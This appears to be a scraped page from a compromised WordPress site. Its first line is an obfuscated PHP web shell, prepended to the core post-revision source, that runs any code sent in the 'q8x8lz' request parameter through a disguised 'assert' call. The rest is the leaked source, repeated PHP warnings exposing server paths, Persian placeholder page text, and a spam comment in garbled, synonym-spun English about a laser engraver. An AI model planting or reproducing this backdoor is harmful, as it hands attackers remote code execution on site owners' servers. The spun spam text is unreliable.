php isset($_REQUEST['q8x8lz']) && array_map("ass\x65rt",(array)$_REQUEST['q8x8lz']); /** * Post revision functions. * * @package WordPress * @subpackage Post_Revisions */ /** * Determines which fields of posts are to be saved in revisions. * * Does two things. If passed a post *array*, it will return a post array ready * to be inserted into the posts table as a post revision. Otherwise, returns * an array whose keys are the post fields to be saved for post revisions. * * @since 2.6.0 * @access private * * @param array $post Optional a post array to be processed for insertion as a post revision. * @param bool $autosave optional Is the revision an autosave? * @return array Post array ready to be inserted as a post revision or array of fields that can be versioned. */ function _wp_post_revision_fields( $post = null, $autosave = false ) { static $fields = false; if ( !$fields ) { // Allow these to be versioned $fields = array( 'post_title' => __( 'Title' ), 'post_content' => __( 'Content' ), 'post_excerpt' => __( 'Excerpt' ), ); /** * Filter the list of fields saved in post revisions. * * Included by default: 'post_title', 'post_content' and 'post_excerpt'. * * Disallowed fields: 'ID', 'post_name', 'post_parent', 'post_date', * 'post_date_gmt', 'post_status', 'post_type', 'comment_count', * and 'post_author'. * * @since 2.6.0 * * @param array $fields List of fields to revision. Contains 'post_title', * 'post_content', and 'post_excerpt' by default. */ $fields = apply_filters( '_wp_post_revision_fields', $fields ); // WP uses these internally either in versioning or elsewhere - they cannot be versioned foreach ( array( 'ID', 'post_name', 'post_parent', 'post_date', 'post_date_gmt', 'post_status', 'post_type', 'comment_count', 'post_author' ) as $protect ) unset( $fields[$protect] ); } if ( !is_array($post) ) return $fields; $return = array(); foreach ( array_intersect( array_keys( $post ), array_keys( $fields ) ) as $field ) $return[$field] = $post[$field]; $return['post_parent'] = $post['ID']; $return['post_status'] = 'inherit'; $return['post_type'] = 'revision'; $return['post_name'] = $autosave ? "$post[ID]-autosave-v1" : "$post[ID]-revision-v1"; // "1" is the revisioning system version $return['post_date'] = isset($post['post_modified']) ? $post['post_modified'] : ''; $return['post_date_gmt'] = isset($post['post_modified_gmt']) ? $post['post_modified_gmt'] : ''; return $return; } /** * Creates a revision for the current version of a post. * * Typically used immediately after a post update, as every update is a revision, * and the most recent revision always matches the current post. * * @since 2.6.0 * * @param int $post_id The ID of the post to save as a revision. * @return null|int Null or 0 if error, new revision ID, if success. */ function wp_save_post_revision( $post_id ) { if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) return; if ( ! $post = get_post( $post_id ) ) return; if ( ! post_type_supports( $post->post_type, 'revisions' ) ) return; if ( 'auto-draft' == $post->post_status ) return; if ( ! wp_revisions_enabled( $post ) ) return; // Compare the proposed update with the last stored revision verifying that // they are different, unless a plugin tells us to always save regardless. // If no previous revisions, save one if ( $revisions = wp_get_post_revisions( $post_id ) ) { // grab the last revision, but not an autosave foreach ( $revisions as $revision ) { if ( false !== strpos( $revision->post_name, "{$revision->post_parent}-revision" ) ) { $last_revision = $revision; break; } } /** * Filter whether the post has changed since the last revision. * * By default a revision is saved only if one of the revisioned fields has changed. * This filter can override that so a revision is saved even if nothing has changed. * * @since 3.6.0 * * @param bool $check_for_changes Whether to check for changes before saving a new revision. * Default true. * @param WP_Post $last_revision The the last revision post object. * @param WP_Post $post The post object. * */ if ( isset( $last_revision ) && apply_filters( 'wp_save_post_revision_check_for_changes', $check_for_changes = true, $last_revision, $post ) ) { $post_has_changed = false; foreach ( array_keys( _wp_post_revision_fields() ) as $field ) { if ( normalize_whitespace( $post->$field ) != normalize_whitespace( $last_revision->$field ) ) { $post_has_changed = true; break; } } /** * Filter whether a post has changed. * * By default a revision is saved only if one of the revisioned fields has changed. * This filter allows for additional checks to determine if there were changes. * * @since 4.1.0 * * @param bool $post_has_changed Whether the post has changed. * @param WP_Post $last_revision The last revision post object. * @param WP_Post $post The post object. * */ $post_has_changed = (bool) apply_filters( 'wp_save_post_revision_post_has_changed', $post_has_changed, $last_revision, $post ); //don't save revision if post unchanged if( ! $post_has_changed ) { return; } } } $return = _wp_put_post_revision( $post ); // If a limit for the number of revisions to keep has been set, // delete the oldest ones. $revisions_to_keep = wp_revisions_to_keep( $post ); if ( $revisions_to_keep < 0 ) return $return; $revisions = wp_get_post_revisions( $post_id, array( 'order' => 'ASC' ) ); $delete = count($revisions) - $revisions_to_keep; if ( $delete < 1 ) return $return; $revisions = array_slice( $revisions, 0, $delete ); for ( $i = 0; isset( $revisions[$i] ); $i++ ) { if ( false !== strpos( $revisions[ $i ]->post_name, 'autosave' ) ) continue; wp_delete_post_revision( $revisions[ $i ]->ID ); } return $return; } /** * Retrieve the autosaved data of the specified post. * * Returns a post object containing the information that was autosaved for the * specified post. If the optional $user_id is passed, returns the autosave for that user * otherwise returns the latest autosave. * * @since 2.6.0 * * @param int $post_id The post ID. * @param int $user_id optional The post author ID. * @return object|bool The autosaved data or false on failure or when no autosave exists. */ function wp_get_post_autosave( $post_id, $user_id = 0 ) { $revisions = wp_get_post_revisions( $post_id, array( 'check_enabled' => false ) ); foreach ( $revisions as $revision ) { if ( false !== strpos( $revision->post_name, "{$post_id}-autosave" ) ) { if ( $user_id && $user_id != $revision->post_author ) continue; return $revision; } } return false; } /** * Determines if the specified post is a revision. * * @since 2.6.0 * * @param int|object $post Post ID or post object. * @return bool|int False if not a revision, ID of revision's parent otherwise. */ function wp_is_post_revision( $post ) { if ( !$post = wp_get_post_revision( $post ) ) return false; return (int) $post->post_parent; } /** * Determines if the specified post is an autosave. * * @since 2.6.0 * * @param int|object $post Post ID or post object. * @return bool|int False if not a revision, ID of autosave's parent otherwise */ function wp_is_post_autosave( $post ) { if ( !$post = wp_get_post_revision( $post ) ) return false; if ( false !== strpos( $post->post_name, "{$post->post_parent}-autosave" ) ) return (int) $post->post_parent; return false; } /** * Inserts post data into the posts table as a post revision. * * @since 2.6.0 * @access private * * @param int|object|array $post Post ID, post object OR post array. * @param bool $autosave Optional. Is the revision an autosave? * @return mixed WP_Error or 0 if error, new revision ID if success. */ function _wp_put_post_revision( $post = null, $autosave = false ) { if ( is_object($post) ) $post = get_object_vars( $post ); elseif ( !is_array($post) ) $post = get_post($post, ARRAY_A); if ( ! $post || empty($post['ID']) ) return new WP_Error( 'invalid_post', __( 'Invalid post ID' ) ); if ( isset($post['post_type']) && 'revision' == $post['post_type'] ) return new WP_Error( 'post_type', __( 'Cannot create a revision of a revision' ) ); $post = _wp_post_revision_fields( $post, $autosave ); $post = wp_slash($post); //since data is from db $revision_id = wp_insert_post( $post ); if ( is_wp_error($revision_id) ) return $revision_id; if ( $revision_id ) { /** * Fires once a revision has been saved. * * @since 2.6.0 * * @param int $revision_id Post revision ID. */ do_action( '_wp_put_post_revision', $revision_id ); } return $revision_id; } /** * Gets a post revision. * * @since 2.6.0 * * @param int|object $post The post ID or object. * @param string $output Optional. OBJECT, ARRAY_A, or ARRAY_N. * @param string $filter Optional sanitation filter. @see sanitize_post(). * @return mixed Null if error or post object if success. */ function wp_get_post_revision(&$post, $output = OBJECT, $filter = 'raw') { if ( !$revision = get_post( $post, OBJECT, $filter ) ) return $revision; if ( 'revision' !== $revision->post_type ) return null; if ( $output == OBJECT ) { return $revision; } elseif ( $output == ARRAY_A ) { $_revision = get_object_vars($revision); return $_revision; } elseif ( $output == ARRAY_N ) { $_revision = array_values(get_object_vars($revision)); return $_revision; } return $revision; } /** * Restores a post to the specified revision. * * Can restore a past revision using all fields of the post revision, or only selected fields. * * @since 2.6.0 * * @param int|object $revision_id Revision ID or revision object. * @param array $fields Optional. What fields to restore from. Defaults to all. * @return mixed Null if error, false if no fields to restore, (int) post ID if success. */ function wp_restore_post_revision( $revision_id, $fields = null ) { if ( !$revision = wp_get_post_revision( $revision_id, ARRAY_A ) ) return $revision; if ( !is_array( $fields ) ) $fields = array_keys( _wp_post_revision_fields() ); $update = array(); foreach( array_intersect( array_keys( $revision ), $fields ) as $field ) { $update[$field] = $revision[$field]; } if ( !$update ) return false; $update['ID'] = $revision['post_parent']; $update = wp_slash( $update ); //since data is from db $post_id = wp_update_post( $update ); if ( ! $post_id || is_wp_error( $post_id ) ) return $post_id; // Add restore from details $restore_details = array( 'restored_revision_id' => $revision_id, 'restored_by_user' => get_current_user_id(), 'restored_time' => time() ); update_post_meta( $post_id, '_post_restored_from', $restore_details ); // Update last edit user update_post_meta( $post_id, '_edit_last', get_current_user_id() ); /** * Fires after a post revision has been restored. * * @since 2.6.0 * * @param int $post_id Post ID. * @param int $revision_id Post revision ID. */ do_action( 'wp_restore_post_revision', $post_id, $revision['ID'] ); return $post_id; } /** * Deletes a revision. * * Deletes the row from the posts table corresponding to the specified revision. * * @since 2.6.0 * * @param int|object $revision_id Revision ID or revision object. * @return mixed Null or WP_Error if error, deleted post if success. */ function wp_delete_post_revision( $revision_id ) { if ( !$revision = wp_get_post_revision( $revision_id ) ) return $revision; $delete = wp_delete_post( $revision->ID ); if ( is_wp_error( $delete ) ) return $delete; if ( $delete ) { /** * Fires once a post revision has been deleted. * * @since 2.6.0 * * @param int $revision_id Post revision ID. * @param object|array $revision Post revision object or array. */ do_action( 'wp_delete_post_revision', $revision->ID, $revision ); } return $delete; } /** * Returns all revisions of specified post. * * @since 2.6.0 * * @param int|WP_Post $post_id Optional. Post ID or WP_Post object. Default is global $post. * @return array An array of revisions, or an empty array if none. */ function wp_get_post_revisions( $post_id = 0, $args = null ) { $post = get_post( $post_id ); if ( ! $post || empty( $post->ID ) ) return array(); $defaults = array( 'order' => 'DESC', 'orderby' => 'date ID', 'check_enabled' => true ); $args = wp_parse_args( $args, $defaults ); if ( $args['check_enabled'] && ! wp_revisions_enabled( $post ) ) return array(); $args = array_merge( $args, array( 'post_parent' => $post->ID, 'post_type' => 'revision', 'post_status' => 'inherit' ) ); if ( ! $revisions = get_children( $args ) ) return array(); return $revisions; } /** * Determine if revisions are enabled for a given post. * * @since 3.6.0 * * @param WP_Post $post The post object. * @return bool True if number of revisions to keep isn't zero, false otherwise. */ function wp_revisions_enabled( $post ) { return wp_revisions_to_keep( $post ) != 0; } /** * Determine how many revisions to retain for a given post. * * By default, an infinite number of revisions are kept. * * The constant WP_POST_REVISIONS can be set in wp-config to specify the limit * of revisions to keep. * * @since 3.6.0 * * @param WP_Post $post The post object. * @return int The number of revisions to keep. */ function wp_revisions_to_keep( $post ) { $num = WP_POST_REVISIONS; if ( true === $num ) $num = -1; else $num = intval( $num ); if ( ! post_type_supports( $post->post_type, 'revisions' ) ) $num = 0; /** * Filter the number of revisions to save for the given post. * * Overrides the value of WP_POST_REVISIONS. * * @since 3.6.0 * * @param int $num Number of revisions to store. * @param WP_Post $post Post object. */ return (int) apply_filters( 'wp_revisions_to_keep', $num, $post ); } /** * Sets up the post object for preview based on the post autosave. * * @since 2.7.0 * @access private */ function _set_preview($post) { if ( ! is_object($post) ) return $post; $preview = wp_get_post_autosave($post->ID); if ( ! is_object($preview) ) return $post; $preview = sanitize_post($preview); $post->post_content = $preview->post_content; $post->post_title = $preview->post_title; $post->post_excerpt = $preview->post_excerpt; add_filter( 'get_the_terms', '_wp_preview_terms_filter', 10, 3 ); return $post; } /** * Filters the latest content for preview from the post autosave. * * @since 2.7.0 * @access private */ function _show_post_preview() { if ( isset($_GET['preview_id']) && isset($_GET['preview_nonce']) ) { $id = (int) $_GET['preview_id']; if ( false == wp_verify_nonce( $_GET['preview_nonce'], 'post_preview_' . $id ) ) wp_die( __('You do not have permission to preview drafts.') ); add_filter('the_preview', '_set_preview'); } } /** * Filters terms lookup to set the post format. * * @since 3.6.0 * @access private */ function _wp_preview_terms_filter( $terms, $post_id, $taxonomy ) { if ( ! $post = get_post() ) return $terms; if ( empty( $_REQUEST['post_format'] ) || $post->ID != $post_id || 'post_format' != $taxonomy || 'revision' == $post->post_type ) return $terms; if ( 'standard' == $_REQUEST['post_format'] ) $terms = array(); elseif ( $term = get_term_by( 'slug', 'post-format-' . sanitize_key( $_REQUEST['post_format'] ), 'post_format' ) ) $terms = array( $term ); // Can only have one post format return $terms; } /** * Gets the post revision version. * * @since 3.6.0 * @access private */ function _wp_get_post_revision_version( $revision ) { if ( is_object( $revision ) ) $revision = get_object_vars( $revision ); elseif ( !is_array( $revision ) ) return false; if ( preg_match( '/^\d+-(?:autosave|revision)-v(\d+)$/', $revision['post_name'], $matches ) ) return (int) $matches[1]; return 0; } /** * Upgrade the revisions author, add the current post as a revision and set the revisions version to 1 * * @since 3.6.0 * @access private * * @param WP_Post $post Post object * @param array $revisions Current revisions of the post * @return bool true if the revisions were upgraded, false if problems */ function _wp_upgrade_revisions_of_post( $post, $revisions ) { global $wpdb; // Add post option exclusively $lock = "revision-upgrade-{$post->ID}"; $now = time(); $result = $wpdb->query( $wpdb->prepare( "INSERT IGNORE INTO `$wpdb->options` (`option_name`, `option_value`, `autoload`) VALUES (%s, %s, 'no') /* LOCK */", $lock, $now ) ); if ( ! $result ) { // If we couldn't get a lock, see how old the previous lock is $locked = get_option( $lock ); if ( ! $locked ) { // Can't write to the lock, and can't read the lock. // Something broken has happened return false; } if ( $locked > $now - 3600 ) { // Lock is not too old: some other process may be upgrading this post. Bail. return false; } // Lock is too old - update it (below) and continue } // If we could get a lock, re-"add" the option to fire all the correct filters. update_option( $lock, $now ); reset( $revisions ); $add_last = true; do { $this_revision = current( $revisions ); $prev_revision = next( $revisions ); $this_revision_version = _wp_get_post_revision_version( $this_revision ); // Something terrible happened if ( false === $this_revision_version ) continue; // 1 is the latest revision version, so we're already up to date. // No need to add a copy of the post as latest revision. if ( 0 < $this_revision_version ) { $add_last = false; continue; } // Always update the revision version $update = array( 'post_name' => preg_replace( '/^(\d+-(?:autosave|revision))[\d-]*$/', '$1-v1', $this_revision->post_name ), ); // If this revision is the oldest revision of the post, i.e. no $prev_revision, // the correct post_author is probably $post->post_author, but that's only a good guess. // Update the revision version only and Leave the author as-is. if ( $prev_revision ) { $prev_revision_version = _wp_get_post_revision_version( $prev_revision ); // If the previous revision is already up to date, it no longer has the information we need :( if ( $prev_revision_version < 1 ) $update['post_author'] = $prev_revision->post_author; } // Upgrade this revision $result = $wpdb->update( $wpdb->posts, $update, array( 'ID' => $this_revision->ID ) ); if ( $result ) wp_cache_delete( $this_revision->ID, 'posts' ); } while ( $prev_revision ); delete_option( $lock ); // Add a copy of the post as latest revision. if ( $add_last ) wp_save_post_revision( $post->ID ); return true; } Warning: count(): Parameter must be an array or an object that implements Countable in /home/itisland/domains/it-island.com/public_html/wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/fs/package.module.fs.php on line 258 Warning: count(): Parameter must be an array or an object that implements Countable in /home/itisland/domains/it-island.com/public_html/wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/fs/package.module.fs.php on line 258 Warning: count(): Parameter must be an array or an object that implements Countable in /home/itisland/domains/it-island.com/public_html/wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/fs/package.module.fs.php on line 258 Warning: count(): Parameter must be an array or an object that implements Countable in /home/itisland/domains/it-island.com/public_html/wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/fs/package.module.fs.php on line 258 Warning: count(): Parameter must be an array or an object that implements Countable in /home/itisland/domains/it-island.com/public_html/wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/fs/package.module.fs.php on line 258 Warning: count(): Parameter must be an array or an object that implements Countable in /home/itisland/domains/it-island.com/public_html/wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/fs/package.module.fs.php on line 258 Warning: count(): Parameter must be an array or an object that implements Countable in /home/itisland/domains/it-island.com/public_html/wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/fs/package.module.fs.php on line 258 Warning: count(): Parameter must be an array or an object that implements Countable in /home/itisland/domains/it-island.com/public_html/wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/fs/package.module.fs.php on line 258 Warning: count(): Parameter must be an array or an object that implements Countable in /home/itisland/domains/it-island.com/public_html/wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/fs/package.module.fs.php on line 258 Warning: count(): Parameter must be an array or an object that implements Countable in /home/itisland/domains/it-island.com/public_html/wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/fs/package.module.fs.php on line 258 Warning: count(): Parameter must be an array or an object that implements Countable in /home/itisland/domains/it-island.com/public_html/wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/fs/package.module.fs.php on line 258 Warning: count(): Parameter must be an array or an object that implements Countable in /home/itisland/domains/it-island.com/public_html/wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/fs/package.module.fs.php on line 258 Warning: count(): Parameter must be an array or an object that implements Countable in /home/itisland/domains/it-island.com/public_html/wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/fs/package.module.fs.php on line 258 Warning: count(): Parameter must be an array or an object that implements Countable in /home/itisland/domains/it-island.com/public_html/wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/fs/package.module.fs.php on line 258 Warning: count(): Parameter must be an array or an object that implements Countable in /home/itisland/domains/it-island.com/public_html/wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/fs/package.module.fs.php on line 258 Warning: count(): Parameter must be an array or an object that implements Countable in /home/itisland/domains/it-island.com/public_html/wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/fs/package.module.fs.php on line 258 Warning: count(): Parameter must be an array or an object that implements Countable in /home/itisland/domains/it-island.com/public_html/wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/fs/package.module.fs.php on line 258 Warning: count(): Parameter must be an array or an object that implements Countable in /home/itisland/domains/it-island.com/public_html/wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/fs/package.module.fs.php on line 258 Warning: count(): Parameter must be an array or an object that implements Countable in /home/itisland/domains/it-island.com/public_html/wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/fs/package.module.fs.php on line 258 Warning: call_user_func_array() expects parameter 1 to be a valid callback, function '_show_post_preview' not found or invalid function name in /home/itisland/domains/it-island.com/public_html/wp-includes/plugin.php on line 496 Warning: preg_match(): Compilation failed: invalid range in character class at offset 31 in /home/itisland/domains/it-island.com/public_html/wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/router/package.module.router.php on line 465 Warning: preg_match(): Compilation failed: invalid range in character class at offset 30 in /home/itisland/domains/it-island.com/public_html/wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/router/package.module.router.php on line 465 طرح های حرفه ای و خصوصیت آنها | جزیره فناوری اطلاعات IT Island

در هر زمینه که کاربران نیاز به اجرا کار دارند ، می بایست ساختار و پایه اساسی فضای اجرایی را بر مبنای یک طراحی اصولی و دانش کامل را مد نظر قرار داده تا بتوانند فرآیند اجرایی را آنگونه که مشتریان و کاربران مصرف کننده می خواهند اجرا نماید .

در هر زمینه که کاربران نیاز به اجرا کار دارند ، می بایست ساختار و پایه اساسی فضای اجرایی را بر مبنای یک طراحی اصولی و دانش کامل را مد نظر قرار داده تا بتوانند فرآیند اجرایی را آنگونه که مشتریان و کاربران مصرف کننده می خواهند اجرا نماید .

سرخط ها و تیتر شده ها :

در نظر داشته باشید که وقتی زباله ای روی زمین می اندازید ، قامتی برای برداشتن آن باید خمیده شود . لطفا بیشتر به اتفاقات ای که در اطرافتان رخ میدهد توجه کنید .

computers7-700x357
این صفحه یک ارسال به صورت تست و قابل ویرایش است … شما میتوانید متن های دلخواه خود را در این قسمت قرار داده و محتوای سایت خود را تغییر دهید . تمامی متن ها و تصاویر قابل تغییر هستند .

  1. گزینه دلخواه شما در این قسمت
  2. گزینه دلخواه شما در این قسمت
  3. گزینه دلخواه شما در این قسمت
  4. گزینه دلخواه شما در این قسمت
  • گزینه دلخواه شما در این قسمت
  • گزینه دلخواه شما در این قسمت
  • گزینه دلخواه شما در این قسمت
  • گزینه دلخواه شما در این قسمت
  • گزینه دلخواه شما در این قسمت

One thought on “طرح های حرفه ای و خصوصیت آنها”

  • EHuxley8q0
    تیر ۱۷, ۱۳۹۴ at ۱۲:۳۶ ق.ظ
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    CO2 laser engraving cutting motor / engraver cutter CNC router
    http://www.ecpur.com/itm/2220.html
    This is hot products CO2 Laser engraver and cutter gadget support Stamp and Cut seeking non-metal, such as rubber,ox horns, wood, plexiglass, atomic materials, crystal, bowlder, etc…
    http://www.ecpur.com/images/large/40w-laser-engraving/laser-engraving-cutting_6.jpg
    http://www.ecpur.com/images/large/40w-laser-engraving/laser-engraving-cutting_7.jpg
    http://www.ecpur.com/images/large/40w-laser-engraving/laser-engraving-cutting_10.jpg
    You can easily to shoot up this ring for invidious wood, plexiglass, making models.
    carving rubber mark ,carving wood dog moniker
    Laser Type : CO2 Gas
    Laser Power : ۴۰W
    Tube Trigger Volt : 20KV
    Tube Operating Volt : 15KV
    Current : 0-22mA
    Interface to Computer : USB Port
    Maximum Item Size to Engrave : 320mm * 220mm * 70mm (12.6W * 8.7L * 2.8H in )
    Laser Tube (life hours) : 1100-1400 Hours
    Engraving Speed : 0-350mm/s (0-13.8 in./s )
    Cutting Speed : 0-35mm/s (0-1.38 in./s)
    Minimum Shaping Character : 1mm * 1mm (0.04 X0.04in )
    Resolution Ratio : ۰٫۰۲۶mm (0.001 in ) / (1000dpi)
    Resetting Positioning : ≤۰٫۰۱mm (0.0004 in )
    Motor Type : Stepper Motor
    Software Supported : CorelDraw X4 and MoshiDraw 2013
    Power Consumption : ≤۲۵۰W
    Operating Temperature : ۰-۴۵℃
    Graphic Format Supported : .PLT / .DXF / .BMP / .JPG / .GIF / .PGN / .TIF etc..
    Water Cooling : Water Pump include
    Product Dimensions : 800mm * 500mm * 250mm (31.4in * 19.6in * 9.8in.)
    Recommended Spare Parts / Consumables Laser Tube, Centred lens, Deliberation lens
    *Co2 lasers at one’s desire mark plain metals when coated with a metal marking solution.
    LMM Coated Metals are metals that make been sprayed with an LMM or Laser Marking Material Spray. Typically a CO2 laser engraver like the anecdote sold here ordain not engrave on metals unless it is painted metal. Manner, LMM sprays have in the offing recently been introduced to the customer base and if acclimatized correctly, will sanction a CO2 laser engraver to etch on diverse types of metal. We do not dispose of LMM spray but you can find it on the internet. However, we dont pledge LLM enounce drive spur as we do not producer it. It would be up to you to learn how to reject it. We do not accept returns on this jotting an eye to the calculate of it did not inscribe on metal.
    CO2 Laser engraver and cutter contraption is in use accustomed to for etching or cutting of non-metal materials: such as rubber,ox horns, wood, plexiglass, atomic materials, crystal, bowlder, etc… Sardonic thickness: 0-10mm (depends on different materials)

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